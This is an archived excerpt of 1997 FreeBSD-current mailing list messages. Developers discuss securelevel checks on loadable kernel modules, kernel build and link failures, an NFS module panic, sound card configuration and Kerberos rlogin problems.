Subject: Re: [Fwd: Malicious Linux modules - be worried !] References: <4473.878788874@time.cdrom.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <4473.878788874@time.cdrom.com>; from Jordan K. Hubbard on Nov 5, 1997 20:01:14 -0800 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > Perhaps we should add a hook to disable the > loading of LKMs entirely if the secure level is above a certain > number. You mean, something like these checks? :-) /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Thu Nov 6 06:49:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA20366 for current-outgoing; Thu, 6 Nov 1997 06:49:57 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA20360 for ; Thu, 6 Nov 1997 06:49:53 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id GAA08658; Thu, 6 Nov 1997 06:49:13 -0800 (PST) To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-current@FreeBSD.ORG Subject: Re: [Fwd: Malicious Linux modules - be worried !] In-reply-to: Your message of "Thu, 06 Nov 1997 09:11:49 +0100." <19971106091149.JR42640@uriah.heep.sax.de> Date: Thu, 06 Nov 1997 06:49:13 -0800 Message-ID: <8654.878827753@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Yeah, yeah, so I sent that message before reading Garrett and everyone else's messages about how that worked already. :-) > As Jordan K. Hubbard wrote: > > > Perhaps we should add a hook to disable the > > loading of LKMs entirely if the secure level is above a certain > > number. > > You mean, something like these checks? :-) > > /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) > /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) > /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) > /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) > /sys/kern/kern_lkm.c: if ((flag & FWRITE) == 0 || securelevel > 0) > > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Thu Nov 6 07:32:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA22512 for current-outgoing; Thu, 6 Nov 1997 07:32:42 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA22502 for ; Thu, 6 Nov 1997 07:32:29 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id QAA00718 for ; Thu, 6 Nov 1997 16:19:48 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: LINT brooktree848.c failure From: Poul-Henning Kamp Date: Thu, 06 Nov 1997 16:19:48 +0100 Message-ID: <716.878829588@critter.freebsd.dk> Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk phk# make cc -c -O -pipe -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -nostdinc -I- -I. -I../.. -I/usr/include -DSPX_HACK -DSIMPLELOCK_DEBUG -DSI_DEBUG -DSCSI_2_DEF -DNPX_DEBUG -DLOCKF_DEBUG -DEXT2FS -DDEBUG -DCLUSTERDEBUG -DBOOTP_COMPAT -DBOOTP_NFSV3 -DBOOTP_NFSROOT -DBOOTP -DPOWERFAIL_NMI -DNATM -DLINT_PCCARD_HACK -DFDSEEKWAIT=16 -DNSWAPDEV=20 -DMFS_AUTOLOAD -DMFS_ROOT=10 -DDEVFS -DMSDOSFS -DLFS -DNQNFS -DNFS -DFFS -DTCP_COMPAT_42 -DNETATALK -DIPTUNNEL -DIPXIP -DIPX -DINET -DDIAGNOSTIC -DMD5 -DCOMPAT_43 -DFAILSAFE -DKERNEL -include opt_global.h ../../pci/brooktree848.c ../../pci/brooktree848.c: In function `video_ioctl': ../../pci/brooktree848.c:1955: parse error before `par' ../../pci/brooktree848.c:1961: `write' undeclared (first use this function) ../../pci/brooktree848.c:1961: (Each undeclared identifier is reported only once ../../pci/brooktree848.c:1961: for each function it appears in.) ../../pci/brooktree848.c:1962: `i2c_addr' undeclared (first use this function) ../../pci/brooktree848.c:1962: `i2c_port' undeclared (first use this function) ../../pci/brooktree848.c:1962: `data' undeclared (first use this function) ../../pci/brooktree848.c:1966: `par' undeclared (first use this function) *** Error code 1 Stop. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Thu Nov 6 13:30:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA15320 for current-outgoing; Thu, 6 Nov 1997 13:30:36 -0800 (PST) (envelope-from owner-freebsd-current) Received: from burka.carrier.kiev.ua ([195.145.31.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA15299; Thu, 6 Nov 1997 13:30:16 -0800 (PST) (envelope-from archer@grape.carrier.kiev.ua) Received: from sivka.carrier.kiev.ua (root@sivka.carrier.kiev.ua [193.193.193.101]) by burka.carrier.kiev.ua (8.8.6/8.Who.Cares) with ESMTP id WAA12002 for ; Thu, 6 Nov 1997 22:57:18 +0200 (EET) Received: (from uucp@localhost) by sivka.carrier.kiev.ua (8.8.7/8.8.7) with UUCP id WAA08245; Thu, 6 Nov 1997 22:51:51 +0200 (EET) Received: (from archer@localhost) by grape.carrier.kiev.ua (8.8.7/8.8.7) id WAA17677; Thu, 6 Nov 1997 22:45:33 +0200 (EET) Message-ID: <19971106224530.11102@grape.carrier.kiev.ua> Date: Thu, 6 Nov 1997 22:45:30 +0200 From: Alexander Litvin To: stable@freebsd.org Cc: current@freebsd.org Subject: makeworld broken in stable? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk RELENG_2_2, CVSupped today. usr.sbin/rpc.ypxfrd/ypxfrd_main.c -- rcsid[] defined twice. -- Litvin Alexander From owner-freebsd-current Thu Nov 6 16:50:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA25927 for current-outgoing; Thu, 6 Nov 1997 16:50:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ap3.gluk.apc.org (root@ap3.gluk.apc.org [194.183.183.213]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA25871 for ; Thu, 6 Nov 1997 16:49:56 -0800 (PST) (envelope-from kushnir@ap3.gluk.apc.org) Received: from localhost (kushnir@localhost) by ap3.gluk.apc.org (8.8.5/8.8.5) with SMTP id DAA02599; Fri, 7 Nov 1997 03:33:23 +0200 Date: Fri, 7 Nov 1997 03:33:23 +0200 (EET) From: Vladimir Kushnir To: Luigi Rizzo cc: freebsd-current@FreeBSD.ORG Subject: Re: attach_mss for full duplex: possible misspelling? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 6 Nov 1997, Luigi Rizzo wrote: > > ... > > hw_config->dma, > > hw_config->dma2, > > ... instead? At least, this way it initializes my card (CS4231 based > > Yamaha OPL3 PnP duplex card) correctly. > > of course you can try, but the AD1848 and some clones have only 1 DMA > channel, and I believe the code is not enough informed to know which > card it is attaching. > > BTW the Yamaha as far as I know is not based on the CS4231 -- it uses a > proprietary chip which _emulates_ some features of the CS423x but has > some differences (e.g. a master volume control using separate > registers). > > Cheers > Luigi Sure, it can be different chip, but it _is_ recognized by the kernel as CS4231, and it does have 2 dma channels. Here's what /dev/sndstat gives: <....> Card config: MS Sound System at 0x530 irq 9 drq 1,3 OPL-2/OPL-3 FM at 0x388 irq 1 Roland MPU-401 at 0x330 irq 1 Audio devices: 0: MS Sound System0 (CS4231) (DUPLEX) <....> More, without this (with the original ad1848.c), it's initialized with dma 1,1, and it shows up as impossibility to record. Regards Vladimir From owner-freebsd-current Thu Nov 6 18:19:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA01106 for current-outgoing; Thu, 6 Nov 1997 18:19:01 -0800 (PST) (envelope-from owner-freebsd-current) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA01101 for ; Thu, 6 Nov 1997 18:18:57 -0800 (PST) (envelope-from mrcpu@cdsnet.net) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id SAA28855; Thu, 6 Nov 1997 18:18:46 -0800 (PST) Date: Thu, 6 Nov 1997 18:18:46 -0800 (PST) From: Jaye Mathisen To: Simon Shapiro cc: freebsd-current@FreeBSD.ORG Subject: Re: More on fast make world... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I actually did a complete MFS based mount of /usr/src and /usr/obj and did a build world. I sent the times in, I don't remember what they where any more, something like 1:50 or 1:40 or so. On Mon, 3 Nov 1997, Simon Shapiro wrote: > I really am not so sure what takes the time, but it is not disk I/O. > > I setup a test machine with 128MB of RAM, a RAID-1 root disk, a RAID-0 > 8x32KB stripes wide for /usr/src and /usr/obj, on a DPT PM3334UDW (Ultra, > wide, differential). Disks are 4GB Barcudas all around. > > This configuration is capable of 980+ disk I/O per second on the RAID-1 and > 1740+ on the RAID-0 array. > > Starting with a fresh install, SMP kernel current for today, DPT configured > with no options, but the performance monitors and a 1 sec timeout hack to > catch lost interrupts (new firmware that may be a bit buggy). > > Top reports (abbreviated): > > load averages: 7.36, 6.59, 5.06 > CPU states: 54.1% user, 0.0% nice, 44.4% system, 1.6% interrupt, 0.0%idle > Mem: 11M Active, 17M Inact, 23M Wired, 47M Cache, 8248K Buf, 26M Free > > Iostat says: > > tty sd0 sd16 cpu > tin tout sps tps msps sps tps msps us ni sy in id > 0 1905 771 74 0.0 668 56 0.0 27 0 51 2 20 > > This is typical over the last hour or so. Anything else I should try? > > Simon > > From owner-freebsd-current Thu Nov 6 18:46:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA02396 for current-outgoing; Thu, 6 Nov 1997 18:46:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA02391 for ; Thu, 6 Nov 1997 18:46:16 -0800 (PST) (envelope-from nate@rocky.mt.sri.com) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id TAA17353; Thu, 6 Nov 1997 19:46:14 -0700 (MST) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id TAA26371; Thu, 6 Nov 1997 19:46:11 -0700 (MST) Date: Thu, 6 Nov 1997 19:46:11 -0700 (MST) Message-Id: <199711070246.TAA26371@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Greg Lehey Cc: FreeBSD current users Subject: Re: Kernel build fails: missing card.h In-Reply-To: <19971106102358.35648@lemis.com> References: <19971106102358.35648@lemis.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > For the last couple of weeks, my -CURRENT kernel build has failed > because it couldn't find card.h. It's there, all right, in > /sys/pccard/card.h Hmm, this 'card.h' is different than the card.h that is expected, and points out some possible problems I hadn't considered. > but config doesn't seem to put it into the > /sys/compile/ directory. Did you run config on your kernel? If it didn't create it, then you must not have updated the files in /sys/conf and/or /sys/i386/conf, which determine which files are generated. > kernel build works fine. Am I missing something? Yes, I rebuilt > config first (well, after the first failure), and it didn't help. Re-building config won't do you any good, since it's not a problem with config. Nate From owner-freebsd-current Thu Nov 6 18:49:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA02612 for current-outgoing; Thu, 6 Nov 1997 18:49:45 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA02607 for ; Thu, 6 Nov 1997 18:49:41 -0800 (PST) (envelope-from nate@rocky.mt.sri.com) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id TAA17377; Thu, 6 Nov 1997 19:49:21 -0700 (MST) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id TAA26392; Thu, 6 Nov 1997 19:49:21 -0700 (MST) Date: Thu, 6 Nov 1997 19:49:21 -0700 (MST) Message-Id: <199711070249.TAA26392@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: John-Mark Gurney Cc: Greg Lehey , FreeBSD current users Subject: Re: Kernel build fails: missing card.h In-Reply-To: <19971105163902.21224@hydrogen.nike.efn.org> References: <19971106102358.35648@lemis.com> <19971105163902.21224@hydrogen.nike.efn.org> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk John-Mark Gurney writes: > Greg Lehey scribbled this message on Nov 6: > > For the last couple of weeks, my -CURRENT kernel build has failed > > because it couldn't find card.h.... > > did you change > controller crd0 > to > controller card0 If you don't change these, config *should* whine about it (it doesn't), but still create card.h in the compile kernel directory. Nate From owner-freebsd-current Thu Nov 6 19:54:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA06220 for current-outgoing; Thu, 6 Nov 1997 19:54:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from taliesin.cs.ucla.edu (Taliesin.CS.UCLA.EDU [131.179.96.166]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id TAA06209 for ; Thu, 6 Nov 1997 19:54:27 -0800 (PST) (envelope-from scottm@mordred.cs.ucla.edu) Received: (qmail 4921 invoked from network); 7 Nov 1997 03:54:18 -0000 Received: from mordred.cs.ucla.edu (131.179.48.34) by taliesin.cs.ucla.edu with SMTP; 7 Nov 1997 03:54:18 -0000 Received: from mordred (localhost [127.0.0.1]) by mordred.cs.ucla.edu (8.8.7/8.8.7) with ESMTP id TAA07772 for ; Thu, 6 Nov 1997 19:54:15 -0800 (PST) (envelope-from scottm@mordred.cs.ucla.edu) Message-Id: <199711070354.TAA07772@mordred.cs.ucla.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-current@freebsd.org Subject: Latest kernel: panics with NFS LKM Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 06 Nov 1997 19:54:14 -0800 From: Scott Michel Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Given the latest kernel snapshot (from a cvsup this afternoon), the NFS LKM causes the kernel to panic - trap 12, page fault in kernel. Yes, I remembered to config the kernel before I rebuilt it. Configuring the kernel with NFS compiled in makes the panic go away. I doing a build world to see if there's some leftover spooge from some of the kernel source changes today. FWIW.... -scooter From owner-freebsd-current Thu Nov 6 21:00:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA09697 for current-outgoing; Thu, 6 Nov 1997 21:00:04 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA09665 for ; Thu, 6 Nov 1997 21:00:00 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id XAA00517; Thu, 6 Nov 1997 23:59:55 -0500 (EST) From: "John S. Dyson" Message-Id: <199711070459.XAA00517@dyson.iquest.net> Subject: Re: Latest kernel: panics with NFS LKM In-Reply-To: <199711070354.TAA07772@mordred.cs.ucla.edu> from Scott Michel at "Nov 6, 97 07:54:14 pm" To: scottm@cs.ucla.edu (Scott Michel) Date: Thu, 6 Nov 1997 23:59:55 -0500 (EST) Cc: freebsd-current@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Scott Michel said: > Given the latest kernel snapshot (from a cvsup this afternoon), > the NFS LKM causes the kernel to panic - trap 12, page fault in > kernel. > > Yes, I remembered to config the kernel before I rebuilt it. Configuring > the kernel with NFS compiled in makes the panic go away. I doing a > build world to see if there's some leftover spooge from some of the > kernel source changes today. > Remember to rebuild all of the LKM's. We should probably come up with a published list of things (worst case) that need to be rebuit when upgrading a kernel. People can usually get by with simply recompiling/relinking the kernel, and are suprised when that doesn't work correctly. I am usually prepared to (not necessarily in this order): compile, relink and install libkvm. compile, relink and install ps, w, and other utilities dependent on libkvm. compile, relink and install config. compile, relink and install the /usr/src/lkm's. When doing lots of kernel development, I don't use any LKM's so that I don't run into troubles because of those. Even dealing with the items above, there is still the (not-so-often) possibility of other trouble when upgrading a kernel (esp. a -current kernel.) -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Thu Nov 6 23:54:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA16859 for current-outgoing; Thu, 6 Nov 1997 23:54:41 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA16854; Thu, 6 Nov 1997 23:54:35 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id XAA15227; Thu, 6 Nov 1997 23:54:35 -0800 (PST) To: dyson@FreeBSD.ORG cc: scottm@cs.ucla.edu (Scott Michel), freebsd-current@FreeBSD.ORG Subject: Re: Latest kernel: panics with NFS LKM In-reply-to: Your message of "Thu, 06 Nov 1997 23:59:55 EST." <199711070459.XAA00517@dyson.iquest.net> Date: Thu, 06 Nov 1997 23:54:35 -0800 Message-ID: <15223.878889275@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Remember to rebuild all of the LKM's. We should probably come up with > a published list of things (worst case) that need to be rebuit when > upgrading a kernel. People can usually get by with simply Either that or we need to simply add versioning to the LKM mechanism. With Peter's recent changes to config(8), that dependency is a bit more properly handled now and I guess LKMs are the only hold-out. Jordan From owner-freebsd-current Fri Nov 7 00:40:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA18880 for current-outgoing; Fri, 7 Nov 1997 00:40:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA18873; Fri, 7 Nov 1997 00:40:23 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id JAA01608; Fri, 7 Nov 1997 09:39:09 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: "Jordan K. Hubbard" cc: dyson@FreeBSD.ORG, scottm@cs.ucla.edu (Scott Michel), freebsd-current@FreeBSD.ORG Subject: Re: Latest kernel: panics with NFS LKM In-reply-to: Your message of "Thu, 06 Nov 1997 23:54:35 PST." <15223.878889275@time.cdrom.com> Date: Fri, 07 Nov 1997 09:39:09 +0100 Message-ID: <1606.878891949@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <15223.878889275@time.cdrom.com>, "Jordan K. Hubbard" writes: >> Remember to rebuild all of the LKM's. We should probably come up with >> a published list of things (worst case) that need to be rebuit when >> upgrading a kernel. People can usually get by with simply > >Either that or we need to simply add versioning to the LKM mechanism. >With Peter's recent changes to config(8), that dependency is a bit >more properly handled now and I guess LKMs are the only hold-out. We already have that, we just don't use it. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Fri Nov 7 10:46:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA15819 for current-outgoing; Fri, 7 Nov 1997 10:46:47 -0800 (PST) (envelope-from owner-freebsd-current) Received: from plaut.de (ns.plaut.de [194.39.177.166]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA15796 for ; Fri, 7 Nov 1997 10:46:31 -0800 (PST) (envelope-from root@totum.plaut.de) Received: from totum.plaut.de (totum.plaut.de [194.39.177.9]) by plaut.de (8.6.12/8.6.12) with ESMTP id TAA26529 for ; Fri, 7 Nov 1997 19:46:23 +0100 Received: from localhost (root@localhost) by totum.plaut.de (8.8.7/8.7.3) with SMTP id TAA06751 for ; Fri, 7 Nov 1997 19:46:25 +0100 (MET) Date: Fri, 7 Nov 1997 19:46:24 +0100 (MET) From: Michael Reifenberger To: FreeBSD-Current Subject: current sound and mss* Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, with -current sources I tried (for my built in OPTI-82C930 sound) ... controller snd0 device mss0 at isa? port 0x530 irq 10 drq 1 vector adintr device opl0 at isa? port 0x388 device mpu0 at isa? port 0x330 irq 5 drq 0 and get during kernel-link: loading kernel ad1848.o: Undefined symbol `_sound_timer_interrupt' referenced from text segment ad1848.o: Undefined symbol `_sound_timer_syncinterval' referenced from text segment ad1848.o: Undefined symbol `_sound_timer_init' referenced from text segment ... It would be defined in sound_timer.c These functions seems only to be defined for GUS: i386/isa/sound/sound_timer.c optional gus device-driver Am I'm right or what do I wrong? Bye! ---- Michael Reifenberger Plaut Software GmbH, R/3 Basis From owner-freebsd-current Fri Nov 7 12:00:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA19640 for current-outgoing; Fri, 7 Nov 1997 12:00:40 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA19630 for ; Fri, 7 Nov 1997 12:00:34 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 5830 invoked from network); 7 Nov 1997 20:00:22 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 7 Nov 1997 20:00:22 -0000 Date: Fri, 7 Nov 1997 15:00:17 -0500 (EST) From: Evan Champion To: freebsd-current@freebsd.org Subject: kerberos Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I think that the kerberised rlogin is a little screwed... Here's an error message: rlogin: warning, using standard rlogin: krcmd: Xa L rlogin: can't provide Kerberos auth data: No such file or directory Note the extra garbage after the krcmd:. If the 8-bit chars didn't paste, it is the German 'B' (the one that is pronounced 's'), X, a square, space, L. I would guess that is some sort of stack corruption... I haven't absolutely proven it yet, but I think the Kerberised rsh is corrupting data too on large binary transfers. And I can't reliably krlogin from a 3.0-current server to a 3.0-current server (ie: it works as often as it doesn't). Which bones is being used in 3.0-current? Is there anyone maintaining the 3.0-current distribution? Evan From owner-freebsd-current Fri Nov 7 13:35:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA25423 for current-outgoing; Fri, 7 Nov 1997 13:35:42 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA25414 for ; Fri, 7 Nov 1997 13:35:36 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id NAA05181; Fri, 7 Nov 1997 13:35:09 -0800 (PST) Message-Id: <199711072135.NAA05181@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Michael Reifenberger cc: FreeBSD-Current Subject: Re: current sound and mss* In-reply-to: Your message of "Fri, 07 Nov 1997 19:46:24 +0100." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 07 Nov 1997 13:35:09 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk For now just add manually the file. I will check in a sound driver update tonite. Amancio > Hi, > with -current sources I tried (for my built in OPTI-82C930 sound) > ... > controller snd0 > device mss0 at isa? port 0x530 irq 10 drq 1 vector adintr > device opl0 at isa? port 0x388 > device mpu0 at isa? port 0x330 irq 5 drq 0 > > and get during kernel-link: > loading kernel > ad1848.o: Undefined symbol `_sound_timer_interrupt' referenced from text segment > ad1848.o: Undefined symbol `_sound_timer_syncinterval' referenced from text > segment > ad1848.o: Undefined symbol `_sound_timer_init' referenced from text segment > ... > > It would be defined in sound_timer.c > These functions seems only to be defined for GUS: > i386/isa/sound/sound_timer.c optional gus device-driver > > Am I'm right or what do I wrong? > > > Bye! > ---- > Michael Reifenberger > Plaut Software GmbH, R/3 Basis > From owner-freebsd-current Fri Nov 7 15:48:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA02274 for current-outgoing; Fri, 7 Nov 1997 15:48:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from localhost.kiev.ua (c119.dialup.ISF.Kiev.UA [194.44.162.119]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA02263 for ; Fri, 7 Nov 1997 15:48:04 -0800 (PST) (envelope-from kushn@olinet.isf.kiev.ua) Received: from localhost (volodya@localhost) by localhost.kiev.ua (8.8.7/8.8.5) with SMTP id BAA00500; Sat, 8 Nov 1997 01:50:57 +0200 (EET) Date: Sat, 8 Nov 1997 01:50:56 +0200 (EET) From: Vladimir Kushnir X-Sender: volodya@kushnir.kiev.ua Reply-To: Vladimir Kushnir To: Michael Reifenberger cc: FreeBSD-Current Subject: Re: current sound and mss* In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 7 Nov 1997, Michael Reifenberger wrote: > Hi, > with -current sources I tried (for my built in OPTI-82C930 sound) > ... > controller snd0 > device mss0 at isa? port 0x530 irq 10 drq 1 vector adintr > device opl0 at isa? port 0x388 > device mpu0 at isa? port 0x330 irq 5 drq 0 > > and get during kernel-link: > loading kernel > ad1848.o: Undefined symbol `_sound_timer_interrupt' referenced from text segment > ad1848.o: Undefined symbol `_sound_timer_syncinterval' referenced from text > segment > ad1848.o: Undefined symbol `_sound_timer_init' referenced from text segment > ... > > It would be defined in sound_timer.c > These functions seems only to be defined for GUS: > i386/isa/sound/sound_timer.c optional gus device-driver > > Am I'm right or what do I wrong? > > > Bye! > ---- > Michael Reifenberger > Plaut Software GmbH, R/3 Basis > Just add this into /usr/src/sys/i386/conf/files.i386: i386/isa/sound/sound_timer.c optional mss device-driver It compiles then. Regards Vladimir From owner-freebsd-current Fri Nov 7 16:17:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03539 for current-outgoing; Fri, 7 Nov 1997 16:17:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from taliesin.cs.ucla.edu (Taliesin.CS.UCLA.EDU [131.179.96.166]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA03533 for ; 